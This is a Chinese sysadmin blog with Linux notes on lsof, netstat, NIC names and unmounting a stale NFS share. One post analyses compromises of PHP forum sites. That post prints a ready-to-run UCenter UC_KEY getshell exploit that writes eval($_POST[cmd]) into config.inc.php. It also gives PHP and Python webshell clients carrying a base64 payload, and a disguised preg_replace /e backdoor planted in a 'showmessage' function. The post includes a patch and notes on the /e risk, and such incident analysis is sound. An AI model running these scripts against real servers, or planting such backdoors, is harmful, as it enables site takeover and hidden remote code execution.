06/26/14

Linux下通过端口查看进程

方法一:
lsof -Pnl +M -i4  |grep 8453
lsof命令参数解释
1) -P :这个选项约束着网络文件的端口号到端口名称的转换。约束转换可以使lsof运行得更快一些。在端口名称的查找不能奏效时,这是很有用的。
2) -n : 这个选项约束着网络文件的端口号到主机名称的转换。约束转换可以使lsof的运行更快一些。在主机名称的查找不能奏效时,它非常有用。
3) -l :这个选项约束着用户ID号到登录名的转换。在登录名的查找不正确或很慢时,这个选项就很有用。

4) +M :此选项支持本地TCP和UDP端口映射程序的注册报告。

5) -i4 :仅列示IPv4协议下的端口。

6) -i6 : 仅列示IPv6协议下的端口。

方法二:
1.使用netstat查看进程PID
[root@test ~]#  netstat -anp|grep 8080
tcp        0      0 :::8080                     :::*                        LISTEN      12886/nginx
2.使用ps查看进程情况
ps -p 12886

ps -ef|grep 8080

06/24/14

php开源项目构建网站的安全问题

1、近期网站被人植入广告代码,导致搜索引擎收入大量含“博彩”的页面,网站降权

2、入侵者通过修改网站全局配置文件或代码入口,输出广告代码到正常页面,展示广告内容,影响用户体验。或者在网站跟目录产生子目录及页面文件,通过友链等方式让搜索引擎收录。

3、入侵方法

a、通过开源项目漏洞
利用UC_KEY进行getshell
思路:通过项目中authcode方法及UC_KEY的值,构造get值通过逻辑判断。通过xml构造post值,修改config.php中的UC_API定义,让php可以执行外部代码。

function updateapps($get, $post) {
        global $_DCACHE;
        if(!API_UPDATEAPPS) {
            return API_RETURN_FORBIDDEN;
        }
        $UC_API = $post['UC_API'];

        if(empty($post) || empty($UC_API)) {
            return API_RETURN_SUCCEED;
        }

        $cachefile = $this->appdir.'./uc_client/data/cache/apps.php';
        $fp = fopen($cachefile, 'w');
        $s = "appdir.'./config.inc.php')) {
            $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            $configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);//这里的问题
            if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
}

webshell脚步

<?php 
    $timestamp = time()+10*3600;
    $host="bbs.xxxxxx.com";
    $uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
    <root>
       <item id="UC_API">xxx\');eval($_POST[cmd]);//</item>
    </root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
    <root>
     <item id="UC_API">aaa</item>
     </root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
         $a = ($a + 1) % 256;
         $j = ($j + $box[$a]) % 256;
         $tmp = $box[$a];
         $box[$a] = $box[$j];
         $box[$j] = $tmp;
         $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
     }
     if($operation == 'DECODE') {
         if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

修复方案

$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);

b、php函数特性 webshell php版

<?php $host="blog.phpdba.com";
 $arr = array (                 'ccc' => '@eval(base64_decode($_POST[z0]));',
                'z0' => 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7',
                'z1' => base64_encode('/var/html/chen-123/'),
                'verify' => 'chen-123',
                'function' => 'eval($_POST[ccc]);',
             );
foreach($arr as $k=>$v){
        $post_data[] = $k."=".urlencode($v);
}
$cmd_str = implode('&',$post_data);
$html = send($cmd_str);
echo $html."\n";

function send($cmd){
        global $host,$code;
        $message = "POST /chen-123.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Referer: ".$host."\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: ".$host."\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;

#var_dump($message);
        $fp = fsockopen($host, 80);
        fputs($fp, $message);

        $resp = '';

        while ($fp && !feof($fp))
                $resp .= fread($fp, 1024);

        return $resp;
}

webshell python版

#!/usr/bin/env python
#coding=utf-8
import base64
from urllib import urlencode
import urllib2

def get_shell(url):
    '''
    发送命令获取webshell
    '''
    headers={
    'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    data={
    'ccc':'@eval(base64_decode($_POST[z0]));',
    'z0':'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7',
    'z1':'L3Zhci93d3cvaHRtbA==[',
    'verify':'chen-123',
    'function':'eval($_POST[ccc]);'
    }
    post_data=urlencode(data);
    try:
        req=urllib2.Request(url,data=post_data,headers=headers)
        ret=urllib2.urlopen(req)
        content=ret.read()
        return content
    except:
        return "访问出错"    

if __name__ == '__main__':
    host='http://blog.phpdba.com'
    url=host+"/chen-123.php"
    print get_shell(url)

服务器端注入代码

function showmessage($msgbox,$keyword,$conut) {
        if(substr (md5 ($msgbox[$keyword[1]]), $conut) == $keyword[0]) {
                preg_replace ($keyword[4].$keyword[4].$keyword[3], $msgbox[$keyword[2]],"");
                return true;
        }
        return false;

}

if(!$ucappopen['UCHOME']) {
        showmessage($_POST, array('e7465d', 'verify', 'function', 'e', '/'), 26);
}

preg_replace 有个被弃用的’e’(PREG_REPLACE_EVAL),可以为这个函数指定。

PCRE模式

模式修饰符

e (PREG_REPLACE_EVAL)
Warning本特性已自 PHP 5.5.0 起废弃。强烈建议不要使用本特性。

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义.

The addslashes() function is run on each matched backreference before the substitution takes place. As such, when the backreference is used as a quoted string, escaped characters will be converted to literals. However, characters which are escaped, which would normally not be converted, will retain their slashes. This makes use of this modifier very complicated.

请确保 replacement 参数由合法 php 代码字符串组成,否则 php 将会 在preg_replace() 调用的行上产生一个解释错误。

Use of this modifier is discouraged, as it can easily introduce security vulnerabilites:

 <?php
    $html = $_POST['html'];
   // uppercase headings
      $html = preg_replace(
        '(<h([1-6])>(.*?)</h\1>)e',
        '"<h$1>" . strtoupper("$2") . "</h$1>"',
        $html
      );

The above example code can be easily exploited by passing in a string such as <h1>{${eval($_GET[php_code])}}</h1>. This gives the attacker the ability to execute arbitrary PHP code and as such gives him nearly complete access to your server.

To prevent this kind of remote code execution vulnerability the preg_replace_callback() function should be used instead:

 <?php
$html = $_POST['html'];
// uppercase headings
$html = preg_replace_callback(
'(<h([1-6])>(.*?)</h\1>)',
function ($m) {
return "<h$m[1]>" . strtoupper($m[2]) . "</h$m[1]>";
},
$html
);

Note:仅 preg_replace() 使用此修饰符,其他 PCRE 函数忽略此修饰符。

 

06/18/14

linux系统获取网卡名称

1、命令行

cat /proc/net/dev | awk '{if($2>0 && NR > 2) print substr($1, 0, index($1, ":") - 1)}'

2、shell脚本
a、GetEthNameByIp.sh

#!/bin/sh
for ip in `ifconfig|grep "inet addr"| cut -f 2 -d ":"|cut -f 1 -d " "`
do
tmp=`ifconfig |awk '/'$ip'/{print a}{a=$1}'`
echo $tmp
done

b、GetEthNameByIpIndex.sh

#!/bin/sh
for ip in `ifconfig|grep "inet addr"| cut -f 2 -d ":"|cut -f 1 -d " "`
do
line=$(expr $(ifconfig|grep "$ip" -n|awk -F: '{print $1}') - 1 )
tmp=`ifconfig|sed -n "$line p"|awk '{print $1}'`
echo $tmp
done
06/11/14

linux下umount强制卸载操作记录

1、上午同事反馈yf_web_114挂载的nfs有问题,卸载不掉

2、以下是我操作记录,成功卸载。

[root@yf_web_114 ~]# df -h
文件系统              容量  已用  可用 已用%% 挂载点
/dev/sda1             273G  8.9G  250G   4% /
tmpfs                 7.8G     0  7.8G   0% /dev/shm
192.168.0.116:/data1/ciphoto
7.2T  680G  6.2T  10% /opt/nfs/ciphoto
[root@yf_web_114 ~]# cd /opt/nfs/ciphoto
[root@yf_web_114 ciphoto]# ls
ls: 无法打开目录.: 失效文件句柄
[root@yf_web_114 nfs]# umount -f /opt/nfs/ciphoto
/opt/nfs/ciphoto was not found in /proc/mounts
/opt/nfs/ciphoto was not found in /proc/mounts
[root@yf_web_114 nfs]# cat /proc/mounts
…..
192.168.0.116:/data1/ciphoto /opt/nfs/ciphoto\040(deleted) nfs4 rw,relatime,vers=4,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,port=0,timeo=600,retrans=2,sec=sys,clientaddr=192.168.0.114,minorversion=0,local_lock=none,addr=192.168.0.116 0 0
[root@yf_web_114 nfs]# df -h
文件系统              容量  已用  可用 已用%% 挂载点
/dev/sda1             273G  8.9G  250G   4% /
tmpfs                 7.8G     0  7.8G   0% /dev/shm
192.168.0.116:/data1/ciphoto
7.2T  680G  6.2T  10% /opt/nfs/ciphoto
[root@yf_web_114 nfs]# umount ciphoto
/opt/nfs/ciphoto was not found in /proc/mounts
/opt/nfs/ciphoto was not found in /proc/mounts
[root@yf_web_114 nfs]# umount /opt/nfs/ciphoto\040
umount: /opt/nfs/ciphoto040: not found
[root@yf_web_114 nfs]# umount -f /opt/nfs/ciphoto\\040
umount2: 没有那个文件或目录
umount: /opt/nfs/ciphoto\040: not found
[root@yf_web_114 nfs]# umount -i -d -r -v -f /opt/nfs/ciphoto/
192.168.0.116:/data1/ciphoto umounted
[root@yf_web_114 nfs]# umount -i -d -r -v -f /opt/nfs/ciphoto
Could not find /opt/nfs/ciphoto in mtab
umount2: 无效的参数
umount: /opt/nfs/ciphoto: not mounted
[root@yf_web_114 nfs]# cat /proc/mounts
……
-hosts /net autofs rw,relatime,fd=13,pgrp=1696,timeout=300,minproto=5,maxproto=5,indirect 0 0
[root@yf_web_114 nfs]# df -h
文件系统              容量  已用  可用 已用%% 挂载点
/dev/sda1             273G  8.9G  250G   4% /
tmpfs                 7.8G     0  7.8G   0% /dev/shm